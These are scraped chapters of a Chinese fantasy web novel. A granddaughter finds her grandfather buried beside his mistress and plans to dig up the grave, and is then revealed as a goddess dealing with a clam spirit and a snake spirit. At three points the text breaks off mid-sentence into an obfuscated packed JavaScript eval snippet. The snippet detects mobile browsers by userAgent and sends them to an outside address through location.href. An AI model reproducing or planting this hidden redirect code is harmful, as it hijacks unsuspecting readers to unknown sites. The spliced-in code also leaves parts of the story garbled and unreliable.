“老李,你神啊!你连最近有人想买我家祖传的白玉狮子都能算出来!” 顿了顿,又面露为难: “好歹是祖上传下来的,我爷爷在世的时候,千叮万嘱,不许我为了钱财把东西变卖了,要将玉狮子一代一代传下去,好给后辈留个底气…… 我实在舍不得真将它出手了。再者,我父亲还在世呢,卖传家宝,也不是我一个人能说得算的…… 老李你说的事端是什么事端?凶险吗?有没有别的破解之法?” 李大叔无情摇头,语气笃定: “唯一的破解之法就是将它出手了,越快越好。你若肯将它卖掉,顶多会破些财,可你若执意留下它,未来你可能因它而死!” “啊?”金叔被吓得老脸一白脚下一踉跄:“有这么邪乎吗……” “信不信由你。”李大叔没好气地撂下杯子。 金叔犹豫了一阵,半分钟后,才白着脸赶紧回屋找东西: “我信你,老李你算命最准!我这就去把东西包起来送给老黄家的麻子!破财就破点财吧,好过没命啊!” 看金叔这积极的态度,我拿起茶杯,吹了吹茶面灼热的水汽:“金叔这一劫,应该能躲过去吧。” 阿乞耸肩:“世事难料,谁知道呢。” 确定金叔进了屋,听不见我们的说话声了,我这方好奇地趴在桌子上问李大叔与阿乞:“刚才那一卦的结果到底是什么?” 我赌李大叔没有告诉金叔实话。 阿乞怜悯感慨:“金大叔的命……实在太惨了。他老婆背叛他,不但给他下毒,现在肚子里还怀了别人的娃,还是个男胎!都仨月儿了!” 我:“???” 潮汐村究竟是个什么神奇的地方! 年轻人想要孩子要不上,想要儿子更是难于登天。 而金家婶子这种四五十岁的中老年妇女……竟然还能怀上孕! 且还怀上了男胎! 阿乞苦着脸接着叹道: “更悲哀的是,他放在手心宠着的宝贝女儿,最后竟会因为一件传家宝,和他撕破脸……残忍的亲手杀害了他!他终将,死在他最爱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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你喝着她们尸水稀释的泉水,你自己心安吗?!一座长生宫,可是埋葬了十七条本该鲜活生于世间的年轻生命啊! 鸾镜揭穿长生宫的真相,有何错处?” 阿乞亦听不下去的攥紧拳头,愤怒红着眼站起身: “就是!镜镜姐揭穿真相给那些受害女孩们争取一个公道,有什么不对! 死的不是你的女儿不是你的姐妹,你喝着她们的尸水延年益寿,当然睡得着觉心安理得! 可那些受害人的家属呢?!就因为你们这些人的贪欲私心,我的姐姐也死在了大祭司手上! 死后魂魄还被囚禁在长生宫,过着人不人鬼不鬼的煎熬苦日子! 现在**者不能偿命也就算了,连为受害者讨回公道的人也成了众矢之的,你们这些人的眼里,永远只能看到自己的利益。 刀子不扎在你们身上,你们就会拿刀去扎别人!” 尽管阿乞都将话说得这么难听了,金家老爷子也一副无所谓的态度: “那你们想怎么样?老头子我给她磕一个?感谢她匡扶正义,揭穿真相,还我阴苗族一片清明天空之恩?” 老爷子嗤之以鼻,阴阳怪气: “**都没长齐的丫头,倒是挺能兴风作浪,难怪她一出生,她母亲就不要她。 真不愧是被宋瑶芝带大的,有其外婆必有其外孙! 和宋瑶芝当年一样狂妄自大,啧,活该周兄弟当年不要她,宁愿给柳妹子殉情,与柳妹子去外面合葬,也不想留在她身边看她那张臭脸!” 宋瑶芝、周兄弟、柳妹子…… 他说的是我外婆外公! 我紧张地站起身,急着问下去:“金爷爷,你认识我外公?” 本想从他口中套些有用信息……可金家老爷子对我太过仇视,拎起椅子转身就走,故意不告诉我:“不认识!” 我哽住。 李叔无可奈何地摇头,温声安抚我:“算了,鸾镜你别管他,他就是这个臭脾气!” 我失落地低头,坐回去。 好不容易才从别人口中听到关于我外公的一丝消息……我还想向他打听,我外公到底葬在哪。 还有那个柳妹子,到底是谁来着。 青漓拍拍我的肩,无声抚慰我的情绪。 本以为这条线又要断了…… 谁料到,没过多久,银杏突然火急火燎地从外面冲进了金家院子。 跑到李大叔跟前水都没来得及喝上一口,就十万火急地拉住李大叔胳膊询问:“爸!镜镜的外公,是不是叫周伯仁?!” 李大叔一怔:“你怎么知道?” 银杏急匆匆地抬手比划,气喘吁吁道: “我好像,发现镜镜外公的坟了!在、就在西山上!而且,还是和另一个女人的合葬墓!” 第142章 撅了他们的坟! 我外公…… 我顿时紧张站起身,“我外公的坟在潮汐村?!还、和另一个女人合葬了?那个女人叫什么名字?!” 银杏抚着胸口喘粗气:“叫,柳萤娘!萤火虫的萤!” “柳萤娘……”我呆呆重复,“没错了,就是我外公!” 柳萤娘、就是宋淑贞口中的、柳姨,也是金爷爷刚才说的,柳妹子…… 李大叔不放心地深深看了我一眼,接着又问银杏: “你怎么跑西山上去了?宋家祖坟不是在枫树林那头吗?” 银杏愣住,心虚揉了揉胸口,掐腰尴尬道: “我、潮生哥给他家祖先上坟,我不方便在旁边,就去别的地方随便溜达了一下,溜着溜着,就溜去了西山……” 什么溜着溜着,就溜去了西山,分明是宋潮生那王八蛋介意银杏,估摸又把银杏当召之即来挥之即去的拎东西苦力了,到地就找个理由把傻乎乎的银杏打发了。 银杏没地可去,只能在山里胡乱溜达。 这个杏子啊……总是不涨记性,委屈自己。 “我外公的坟具体在哪个方位,银杏你快带我过去看看!”我赶过去抓住银杏手腕,迫不及待地说道。 银杏点头:“好,我带你过去!” 银杏拉着我出门后,阿乞与李大叔相视一眼,犹豫一阵,也跟了过来。 “镜镜姐银杏姐,等我!” …… 西山,向阳的山坡上,一座高大的土坟前,立着一块半人高的石碑。 石碑正面赫然写着:先考周公伯仁之墓、先妣柳母萤娘之墓。 右下方刻着:孝女宋小梨。 日期则是三十年前的春天…… 阿乞对着墓碑上的孝女宋小梨几个字皱起了眉头:“宋小梨是谁?” 我则盯着那块墓碑,心下一片冰凉:“小梨,是宋淑贞的小名,宋淑贞生在梨子成熟季节,又打小就爱吃梨,所以外婆才给她起了小梨这个小名。” 这些事,还是我幼时,某一天趴在外婆怀里啃梨,外婆和我说的。 外婆那会子揉着我的脑袋,满眼慈爱地凝望我啃得满嘴是梨水的傻样,深长的目光似想透过我,捕捉到思念之人的几分影子…… “你啊,和你母亲小时候一样,都喜欢抱着梨啃,啃得满嘴都是。” “可惜,外婆的小梨,再也回不来了。” “镜镜,你知道么,其实你比你姐姐,更像你母亲……” “你母亲像你这么大的时候,也极有天分,活泼好动。成天就晓得追在外婆身后,拉着外婆的衣角不停喊阿娘……” “罢了。从今往后,外婆有镜镜,就够了。” 除了我,没人知道外婆每年夏天都会看着院墙外梨树上挂的小青梨发呆…… 宋淑贞也永远都不可能晓得,外婆在快离世那几天夜晚,还总是睡不踏实,时不时在梦里喊她的名字。 她每年的生日,外婆都会在堂屋后侧的神堂里给她祈福,一跪就是一整天。 可她呢,却盼着外婆死。 如今,甚至还认别人为父母…… 柳萤娘的碑上刻着先妣,而我外婆的碑上,却只能刻上冰冷的:阴苗族先祭司、鬼师娘娘宋瑶芝之墓。 立碑人,只能写阴苗族全体族人。 外婆下葬这么久,前去祭奠外婆的族人络绎不绝,但偏偏宋淑贞与宋花枝,一次也没去看过外婆。 反观周伯仁与柳萤娘的墓前呢! 杂草地里,还留有黄纸的发白灰烬! 墓碑四周的蒿草也被清理得干干净净,这对野鸳鸯的坟头,还特意被种满五颜六色、漂漂亮亮的小野花…… 可见宋淑贞这些年来,一直在精心打理他们的坟地。 我强忍着想将他们坟头花薅光的冲动,攥紧双手,憋着眼泪,转身面向李大叔:“为什么我外公死后能与这个柳萤娘合葬!为什么宋淑贞要认这个柳萤娘为母亲?那我外婆呢,我外婆又算什么?” 直觉告诉我,李叔一定知道一部分隐情。 李大叔听我问了,双手背后沉沉叹道: “你外公与你外婆之间的恩怨,我也不是很清楚,我来阴苗族那会子,你外公已经过世多年了。 我只在你母亲口中听过寥寥片语,你母亲说,当年你外婆闭关修炼,是这个柳姨一直在替你外婆照顾你母亲,久而久之,你母亲与她之间就生出了母女之情。 你母亲幼年生病,高热难退,是柳萤娘冒死去山上采药,救下了你母亲,还因此从高处跌落,摔伤了身子,导致终生不能有孕。 你母亲一直对这件事怀疚于心,总觉得是自己害了柳萤娘一辈子,为了弥补柳萤娘,你母亲就在你外公跟前发誓,说从那往后,自己就是柳萤娘的女儿。 柳萤娘活着她为柳萤娘奉养天年,柳萤娘**她便为柳萤娘年年扫墓,岁岁祭奠,绝不让柳萤娘生前身后孤寂。 你母亲她吧,总是责怪你外婆在她幼时没有多给予她陪伴,你母亲刚出生那几年,你外婆还年轻,总是一门心思扑在阴苗族的大小事务上。 加上你太外婆过世得早,你外婆又做圣女,又当大祭司,身边也没个可以帮衬的人,导致你母亲出生后,几乎是你外公一个人独自带大的。 你母亲七岁时,你外婆突然要闭关,那一闭关就是三年,七八岁大的孩子,正是需要母亲呵护,最缺母爱的时候。 可你外婆,却在这段时间缺席了她的人生,恰好,又被柳萤娘填补上了,这才导致你母亲与你外婆之间有了嫌隙。 再后来,你外婆出关,出关后,又忙着给一个阳苗族的男人续命,你母亲觉得你外婆不爱她和你外公,便将所有对母亲的感情寄托在了柳萤娘身上。 柳萤娘与你外公朝夕相处,也毫无意外的、有了感情。 这事被你外婆知道了,你外婆便、杀了柳萤娘,柳萤娘死后,你外公不堪打击,也跟着柳萤娘殉情了。 你外公死前嘱咐过自家信得过的兄弟,要兄弟把他与柳萤娘的尸体带出月阴村,按你母亲的说法,当时是说要拉到族外去葬…… 没想到,他们两人坟竟然在潮汐村。不过,也难怪,这个柳萤娘生前好像就是潮汐村的人。” “这不就是一个女人为了事业拼搏,出了一趟差回来后却发现女儿喊别人妈,老公也爱上了趁虚而入的小三的故事吗?”银杏皱着柳叶细眉无情一语戳破。 李大叔哽了哽,无奈看向银杏:“虽然话糙……但、确实是这样。” 银杏愤愤替外婆抱不平: “真没想到老祭司年轻时竟然经历了这么糟心的破事,她老人家可真是心胸宽广,只是杀了小三而已,换做我,我不但要把小三和渣男弄死,我还得把她们的坟刨了! 他们还想着去外面入葬,做梦!我绝不会同意任何人把我男人带走,他生是我的人死也得是我的鬼,我把他留在身边,白天夜里只要想起他做的破事,我就把他弄出来鞭一次尸! 合葬?更是想都别想!他们不是喜欢黏在一起吗?我就非把他们一个留在阴苗族做标本,一个火化烧成灰,骨灰寄到最北边的城市,等到地方了,我就让快递员把它拿出去扬化粪池里! 叫他们到阴间了也休想再见,下辈子,下下辈子,都别想碰面!” 李大叔:“……” 我:“……” 青漓:“……” 阿乞讪讪笑道:“这才像我银杏姐!比我想象中的、还要狠!就是扬情敌骨灰这件事,可能有点难度……” 银杏抱胸理直气壮:“我都是大祭司了,我扬情敌骨灰还不容易吗?我就是把情敌大卸八块,也没人敢说些什么啊……具体请参考宋淑贞。” 阿乞恍然:“也是哦!” 我无情戳破她:“得了吧,你也就说说而已,你把宋潮生带入进去,就没胆子扬骨灰了。” 这回换银杏语塞了。 半晌,银杏才挽住我的胳膊试图撒娇蒙混过关:“哎呦,镜镜,你怎么总是揭我老底呢,呜人家会伤心的~” 我心累推了下她的小脑袋:“你啊,让我说你什么才好呢!” 阿乞歪头问李大叔:“那,师叔祖你知道老祭司的老公与小三……埋在这地方吗?” 李大叔略显无语,双手背后一本正经道: “我来阴苗族都是多少年后的事了,镜镜外公与这个柳萤娘,在镜镜妈十一岁的时候就过世了,他们之间的恩怨纠葛我都没理清楚,怎么会知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374598|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镜镜外公和柳萤娘埋在哪…… 况且,他们在潮汐村的事,恐怕连老祭司本人都不知道。 这座合葬坟,若我没猜错,是淑贞亲手为她父亲与柳萤娘立的……淑贞与老祭司之间,还是误会太深。老祭司走早了…… 她们母女俩的心结,至死也没能解开。” “这还怎么解?老祭司闭关修炼,柳萤娘趁虚而入,俘获了大祭司父女俩的心,老祭司出关一看,女儿喊别人娘,老公也对别人动了情…… 大祭司呢,念着柳萤娘的救命之恩,对柳萤娘有爱也有愧,老祭司突然杀了柳萤娘,站在大祭司的角度,确实很难接受。 再怎么说,她也真与柳萤娘有些母女情分。 这局面,本身就是个死局,柳萤娘不死,老祭司心里堵得慌,柳萤娘**,大祭司又不乐意。 千错万错,都是柳萤娘的错!” 银杏急性子的走上前两步就要踹周伯仁与柳萤娘的碑: “凭什么她害得别人家庭破裂,母女离心,死后还能和别人的老公合葬,享受别人女儿的香火!” 李大叔及时拉住银杏,闷声阻止:“算了,人死灯灭,尘归尘土归土,再糟践他们的坟损你阴德,不值当。” 阿乞担忧看我:“镜镜姐……你是怎么打算的?” 我寒心冷笑:“坟都立三十来年了,我能怎么打算……” 当然是,打算把这两脏东西的坟撅了啊! 银杏说得对啊,凭什么他们给我外婆带来那么多苦难悲痛,却能安安心心躺在这里,如愿以偿! 他们合葬的坟地,竟还是个鸳鸯坟。 宋淑贞,你就这样希望来世还做她们的女儿么? 这样希望,他俩在阴间还能结为夫妻,在来世还能重逢相遇么! 你让外婆多年来内心的煎熬,失去女儿的痛苦,都变成了一个笑话! 周伯仁柳萤娘,你们能永享身后太平,算我输。 我安静看了那座合葬坟一阵,转身离开。 “回去吧。” 阿乞意外惊呼:“啊?” 银杏亦诧异喊道:“这、就走了?镜镜,你确定不再做点啥?” 李大叔一巴掌拍在银杏脑袋上,嗔怪道:“你不许怂恿鸾镜,挖先人的坟,容易生业障!” 银杏不情不愿地揉脑袋:“哦……” 小声嘀咕:“那我们来走这一趟干嘛?特意找不痛快的么。” 走这一趟,当然是为了认路啊! 挖先人的坟生业障…… 生业障也要挖! 我不但要撅了他们的坟,还要他们在来世也体验一把我外婆所承受的半生痛苦! …… 下午,青漓被阿乞拽出去办事了。 宋潮生本想勾着我出门摘果子,顺便问我要蛇鳞,但被死活粘着他不放的银杏打乱了计划。 小凤凰不晓得又独自跑哪潇洒了,紫蛇依旧盘在门口大树上睡觉…… 山里的野山果红了半树,我与银杏宋潮生刚摘一个小时,带去的一只小竹筐就垒满了红彤彤的果子。 而我,也顺道借回去拿新竹筐的幌子,成功摆脱了不停找机会接近我,疯狂想同我搭话的宋潮生。 进了宋家院子,我去堂屋翻了个还能用的大竹筐。 东西到手,我却不急着再去找他们。 宋潮生那个麻烦精,银杏有耐心伺候他,我可没有。 同他多说一句都烦。 从宽大的袖子里掏出手机,我打算先玩两局消消乐再说。 不过,看着游戏界面那条活蹦乱跳的火狐狸……我突然想到了谢妄楼那条死狐狸。 最近这段时间他没再露面搞事,我都有点不适应了! 青漓呐,还是下手太狠。 怎么能把他两条腿都打断了呢。 好歹给他留一条啊! 我一边在心中暗暗感慨,一边把屏幕上乱跳的火狐狸连成线消除掉。 指腹在手机屏幕上迅速点了十来下…… 我聚精会神地玩游戏,余光却无意瞄见,衣袖边似有淡淡粉光萦绕。 但我只忙着去消游戏里的那一串大白猪,没管它。 只是下一秒,一双湿漉漉、黏糊糊的手就猛地从我身后伸出来—— 一把捂住了我的嘴! 第143章 本座要把你阉了,带回昆仑做太监 我心下一惊,手机从手里滑落…… 恐惧挣扎,却被她掌心的异味给迷晕了神识。 须臾,便眼前一黑,晕**过去…… —— 等我再醒来,才发现自己竟身处一片临水的深山树林子里! 我被人放在大树下,背靠着粗糙树干。 双手双脚并没有被束缚…… 对面不远处,就是一片清澈水泽。 夕阳下的水泽波光粼粼,暮风和煦,靠岸的水域里还生了寥寥几片荷叶,长了稀疏两三朵荷花…… 风吹叶落,惊起水面层层涟漪。 一切都这般,静谧而美好。 风景不错。 但这不是重点! 重点是谁把我弄来的。 看样子也不像**啊…… 我身上都没有绳子。 我越想越觉得懵。 扶着树干踉跄站起身,环顾四周,我谨慎查看四下环境…… 一扭头,却猛地撞上一名身穿粉色古代衣裙,满头乌发温柔盘起,发间簪着粒粒圆润珍珠,配着粉色小绢花的年轻女孩。 女孩与我四目相对,下一瞬,忙仓皇跪地虔诚礼拜:“小妖阿蚌,见过娘娘!” 我一怔,半晌才反应过来她是谁,无奈解释:“蚌仙,你真认错人了,我真不是你口中的那位昆仑娘娘。” 女孩似早就料到了我会否认,执拗地从大袖中再次掏出那枚海螺信物,双手奉上,态度恭谨:“小妖阿蚌,求见、西王母娘娘!” 她要找的还真是西王母。 可我不是…… 眼前骤然一昏,我脚下一踉跄,差点没站稳身子! 再抬眸,我身上的红纱黑裙顷刻化成金色流光锦镶珠玉凤凰神袍…… 原本用银簪挽起来的长发也一丝不苟悉数盘起,头戴展翅金凤冠,珍珠红玉髓步摇垂至肩头。 我、又被唤醒了。 垂眸看向蚌妖手中捧着的海螺信物,我皱眉疑道:“你是,西湖的那只小粉蚌?你母亲,是**的?” 小阿蚌见我终于认出她,双目噙泪委屈地伏在地上,可怜巴巴道: “回娘娘,五百年前,我阿娘月珠在西湖岸边救下了一名凡间男子,那男子一身刀伤严重,奄奄一息,我阿娘一时动了恻隐之心,便将那男子带入西湖水府,拿出府中秘药为那男子救命治伤。 我阿娘和那凡间男子朝夕相处两个月,便、对那男子生了爱意,那男子也向阿娘表明了心迹,说他悦爱我阿娘,承诺要娶我阿娘为妻…… 他身上的伤痊愈后,便提出想上岸回家报平安,还要我阿娘在西湖等他,说待禀明家中长辈,就来西湖风风光光迎娶我阿娘。 我阿娘信了,我阿娘对他毫无防备之心,还将随身的小螺送给了他,告诉他,他何时回来,只需在岸边吹响那只小螺,我阿娘便会立马上岸相会…… 他走后,我阿娘在西湖等了他半年之久,谁知半年后他再返回西湖,却设法引我娘上岸,派遣大批邪道捉拿我娘! 我们那会子才知道,他原不是普通凡人,而是人间皇帝的三儿子,当朝三皇子。 为了与大皇子二皇子争夺皇位,证明自己才是民心所向,他不惜背叛我娘,辜负我娘一颗真心,先是在西湖一带散布蚌妖**的谣言,然后再打着替天行道,降妖除魔的幌子,大张旗鼓地来西湖边捉拿我娘。 我娘落进他的手里,他又贪念我娘的长生不老之力,在监斩我娘之前,掏了我娘的命珠与内丹! 我与阿兄为了救阿娘与那些邪道拼死一搏,双方缠斗过程中,他们本想把我也活捉了,好刨了我的腹,抢走我的内丹与命珠。 只是我反抗得太厉害,还咬伤了不少邪道,把那些邪道逼得恼羞成怒,邪道忍无可忍,便想用桃木剑了结我。 危急关头,是阿兄替我挡下了致命一击…… 而哪怕我与我阿兄拼尽全力,也没能救下我阿娘,我阿娘最终还是死在了那个男人的箭下。 阿娘死后,那个男子才告诉我和阿兄,他原来在京城,早就娶了妻,他对我阿娘是有爱,也想过带我阿娘回去,让我阿娘做个侧妃,但女人与天下比起来,他终究还是选择了天下…… 他说,他看在阿娘的份上,放过我和阿兄。 他走时,还带走了我阿娘的尸体。 娘娘,凡间的男人都好绝情,我阿娘死前的最后一句话是,她后悔没有听您的教导,轻易信了这世上男子,明知是火坑,还偏要抱着试一试,或许结果会不一样心态,毅然往里跳…… 我阿娘生前被他囚禁欺辱,**还要被葬入他的皇陵,他以为追封我阿娘做皇子侧妃、太子妃、贞义皇后,就能抵消他亲手杀害我娘的罪过吗? 他就是要让我娘,死后也不得自由。我和阿兄去皇陵试过无数次,都没能成功带走我阿娘。 他怕我和阿兄偷阿娘尸体,命高人在皇陵布下高乘阵法,我们根本破不开……” 小姑娘哭得我头都疼了,我拂袖揉了揉太阳穴,惋惜道: “月珠,是一点没将本座的话放在心上啊。本座早就提醒过她,沉溺情爱,轻则道行尽散,重则身死道消。她偏偏要去自投罗网自堕深渊……罢了,这就是她的命。你阿兄,又是怎么回事?” 小阿蚌涕泪淋淋地跪着挪近我几步,湿漉漉的一双小手抓住我的衣摆,哽咽解释: “当年我和阿兄为了救阿娘与邪道们打起来,阿兄不是替我挡了致命一击嘛,虽说那一掌没有当场要了阿兄的性命,但却给阿兄留下了严重的后遗症。 阿兄后来这五百年身子异常羸弱,天一寒,阿兄便咳嗽不止,严重时还会彻夜呕血…… 三年前,阿兄在人间认识了一位打渔女,原以为是兴趣相投,两情相悦……谁知,竟从头到尾都是那个打渔女设下的一个局。 打渔女有个青梅竹马的未婚夫,未婚夫在湖边被海妖袭击,中了妖毒,命在旦夕,凡间的看香人算出只有我哥的心头血才能救她未婚夫。 所以她就故意在我哥上岸时,穿着白裙子,光脚在岸边跳舞,又在我哥看的发呆时,假装崴脚,制造与我哥的偶遇。 后来,我哥与她见面的次数愈加频繁,我哥越陷越深,于是在一个月圆之夜,她趁我哥情动,拿刀捅入我哥心脏,取走了我哥的心头血…… 我哥本就有旧伤,又被取走心头血,身体承受不住重创,便化成原形陷入了沉睡……” 着急地朝我重重叩头,小阿蚌痛哭涕零:“娘娘,阿娘已经**,小阿蚌只有阿兄一个亲人了!求您,救救阿蚌的阿兄!” 听完她哥哥的遭遇,我更头疼了。 母子俩都栽在一个坑里了! 真是遗传的恋爱脑。 我扫了眼放在地上的银螺,抬手,用法力将东西牵引至掌中: “当初,本座与你母亲颇为投缘,你母亲初识本座时,还不知本座的身份。 你母亲错将本座当成与家人赌气的年轻女仙,怕本座在岸上被坏人坏妖盯上,便主动将本座带回你们的水府,收留本座,还好吃好喝的都供给本座。 那时的你与你阿兄,一个才半人高,成天就晓得拿着一卷书,之乎者来,之乎者去。 一个,还是只躺在摇篮里的小粉蚌,本座一摸,就故意咬本座手,与本座玩闹。 你们一家,都是性情至纯至善之妖。你幼时扑在本座怀中撒娇那会子,本座将这枚海螺送给你,亲口应允,来日满足你一个愿望。 想来,若非真的走投无路,你哥若还有旁的生路,你也不会拿着海螺四处寻本座。罢了。” 拂开广袖,我将银螺归还给小阿蚌: “你阿兄的身子,本座会秘密下令让昆仑的药师**前去为他疗养,你回去后,便能看见恢复健康的青蚌。这只银螺,给你留做纪念。” 小阿蚌双手捧回银螺,万分感激地连连朝我磕头谢恩: “多谢娘娘,多谢娘娘!娘娘,您的救命之恩,小阿蚌永世难忘,若有机会,此生当牛做马报答娘娘!” 我沉沉一叹:“无需你当牛做马报答本座……不过,本座还真有一件事想让你帮本座去探探。” 小粉蚌泪眼盈盈地紧忙欣喜道:“娘娘尽管安排!娘娘有用得着阿蚌的地方,阿蚌很开心!” 我思忖片刻,弯腰,贴近小粉蚌的耳畔,谨慎低语:“你有空去黄河一带,帮本座找一个人。” “找谁?” “一个女人,她是位陨落的上古真神……世间神妖,包括本座现在都可能在芸芸众生中辨不出她,但、她若真的转世了,必会与身边的普通人有许多不同之处。 你去黄河一带,寻当地出生时天有异象、或生来命格特殊的年轻女孩。如果真有这么一个女孩,你便将名字告诉本座。” 如果没有…… 那可能是、还没降生。 也可能是,三百年前本座察觉错了…… 只可惜三百年前本座还是幽冥山圣女玉鸾。 那次靠近黄河,也是偶然途经。 我只感应到黄河内有很强大的神仙气息…… 现在回想,那神息很是熟悉。 若三百年前本座还保留神仙的记忆,本座肯定会进入黄河探个究竟…… 也许,这一切都是天意。 该回来的,迟早会回来。 “小妖明白了。”小粉蚌乖乖点头。 我听她一口一个小妖的自称,不大习惯地拧拧眉…… 直起脊背,我抬手示意她起身:“早前听你说,昆仑的守山神女假传本座法旨,说要将你格杀勿论?” 小粉蚌老实巴交地点头:“嗯……” “守山神女,是哪个神女?” 我想了想,又觉得她可能并不知道对方的名字,便换个问法: “穿什么衣服?戴什么材质的头饰?” 想当年本座被昆仑的三千金仙三千天女晃花了眼,昆仑山神多的都快让本座脸盲了。 为了更快更便捷地区别出突然冒出来杵本座眼前的男男女女到底是什么品阶,妙渊**那老狐狸就想到了用衣服颜色与饰品的材质来区别昆仑所有神仙的身份。 虽说自那以后昆仑山就从原来的白茫茫一片变成了到处都是晃动的花红柳绿,从天界往昆仑神宫看,那颜色丰富的都能强压彩虹桥好几头了。 但我认不出对方身份的尴尬症确实缓解了很多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380882|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从那以后我就秉承着一个原则:大不了让眼睛受点罪,好过脑子突然卡壳啊! 在下属面前突然宕机,多丢脸啊。 哎,我应该早点听妙渊**的提议…… 把东王给拽到昆仑山做苦力的! 想当初,我以为他烦我……还处处防着他来着。 早知他为了我连轮回道都敢乱跳…… 这个婚,八万年前就结了! 小粉蚌想了想,道:“她穿黄衣。” 哦,三等天女。 “头上戴着仙鹤玉簪。” 掌管妖部的。 “发型,是半披在肩后,一半挽起。” 还是从凡人修炼上昆仑的。 “随身的法器,是把鹰**。” 从前是除妖师。 “听别人唤她,姜师姐。” 姜清澜。 想起来了,是个蛮有上进心的姑娘。 但,性子是暴戾了些。 千年前修炼上昆仑的,那时候还经常欺负一名银杏叶成仙的天女来着…… 银杏叶…… 我紧缩眉头,思考道:“最近轮到她守山门了?” 还是掌管妖部…… 自上次见到谢妄楼后,我总有种、昆仑山内有内奸的直觉…… 平时能接触到妖的,也就只有执掌妖部那几名天女了。 姜清澜,是妖部天女之首。 内奸怕是就出在她与她那群手下中。 让姜清澜守山门,我总有种,不踏实之感。 “你见到她时,她很嚣张么?可有何、异常。”我问小粉蚌。 小粉蚌怯怯缩脑袋:“娘娘说的异常,指的是?” 我沉声掂量:“本座对内声称闭关,实则是入世了。且本座这一走,就是两千年,难免会有神仙,因本座不在,而得意忘形。” 小粉蚌明白了我的意思,赶紧道: “那位守山神女驱赶小妖时,和身后天兵统领悄悄说了一句话,她说娘娘不在,整个昆仑仙山就是她说的算…… 旁边的神女姐姐提醒她,当心惹怒娘娘,她却说,娘娘能知道什么,取决于她愿意让娘娘知道什么…… 然后她就要杀小妖灭口,好在小妖跑得快……” 她倒是,口气挺大。 我沉默一阵,道:“本座知道了。” 回头瞥了眼她这身狼狈模样:“你,恨潮汐村的人吗?” 小粉蚌一愣,眼眶陡然一湿,憋屈地摇头: “阿蚌想赶紧回家见阿兄,只要阿兄能好起来,阿蚌所受的一切磨难,都值了!” 我深呼吸,反驳道: “不,你要恨,你要报复回去。报复一些人,不一定非得要让他们的肉体受到伤害,诛心,才是最残忍的报复方式!” 小粉蚌昂头不可思议的呆呆望着我:“娘娘……” 我淡淡道:“本座从不是会劝人放下的神仙,冤有头债有主,本座只会教你,只要玩不死对方的肉体,就把对方的灵魂往死里玩!” 小粉蚌似被我刷新了三观:“哦……还可以这样吗?” 我平静道:“你还太小,等你再活个几万年,就悟了。本座在人间的事,你知我知,切不可再有第三个人知道。” “小妖明白。” 我满意颔首,抬起手指示意:“你先去吧。” “好,娘娘,小妖告退。”小粉蚌乖乖化作一缕粉烟散去。 小姑娘走了,接下来,该收拾另一个家伙了…… 我侧首,余光扫了眼盘在树杈后,只露出半截尾巴,一动不动装死的家伙—— “紫蛇,滚出来!” 树杈上的半截尾巴陡然一颤。 半晌,还是不敢有动静。 我果断抬手召出一把地狱红莲业火,冷声恐吓:“不出来,本座动手了!” 说完,我作势要用业火焚他。 盘在树上的紫蛇总算老实了,听话的一骨碌滑下树干,直奔我脚下疾速爬来—— 在离我还有三步距离的地方惶惶化成人形,不敢直视我的眼睛,扑通冲我跪下,磕头如捣蒜。 哇的一声就哭嚎了出来: “西王母饶命啊!小仙真不是有意要窥探您老人家的秘密! 小仙实在是因为、担心小仙的鸾镜妹子,啊呸!鸾镜祖宗! 呜呜呜,小仙也不知道鸾镜妹子就是您的转世啊! 小仙刚才什么都没听见,您您您、您老人家千万别杀小仙灭口啊!” “老人家?”我眯了眯眼睛,寒声问他:“本座很老吗?” “啊不不不,您、年轻!您超年轻超漂亮,老人家,只是对您的尊称。”紫蛇害怕地疯狂摆手。 我敛了掌中的红莲业火,故意凑近他一步,俯身,贴至他耳边,阴恻恻地吓唬: “你倒是会说话,口齿伶俐,舌灿莲花,本座喜欢。可惜,你知道的太多了。” 跪在地上的紫蛇瞬间浑身抖如筛糠! 我抬手,食指的指甲触碰到他娇俏脸庞的那一刻,他险些腿软瘫坐下去。 就这胆子,还敢偷听…… 我藏下眼底的笑意,接着恐吓他: “生得这般漂亮,本座还真舍不得杀你……既如此,本座、要把你……阉了,送回昆仑,给本座当洗脚太监。” 第144章 东王,好久不见 此话一出,他再也撑不住地一屁股跌坐在地上,俏脸煞白,吓得连滚带爬就往一边狂躲。 “太太太、太监!你们神界也兴太监这一套啊!呜呜呜,我不要!我不当太监!西王母你别这样,好歹、好歹咱们以前还有那么深的交情呢呜呜呜……” “交情?”我佯作冷漠,挺直脊背,拂袖负在身后,居高临下地威严睥睨他:“本座与你之间,有交情么?” 紫蛇俏脸一僵,瘪嘴欲哭无泪,结结巴巴地急切争取: “您与小仙是没有交情,但您的转世鸾镜妹、祖宗,那和小仙可是过命的交情啊! 虽然、您现在是西王母娘娘,但鸾镜妹子也是您啊!您不能变成西王母了,就否认小仙从前与鸾镜妹子的感情、呃友谊啊! 鸾镜妹子要是知道,她她她亲手把小仙给阉了,她会愧疚得夜里睡不着觉的!” 这条小紫蛇,还蛮机灵的。 “可你知道了本座的秘密,若不阉了你,就只能杀了你了。”我存心逗他。 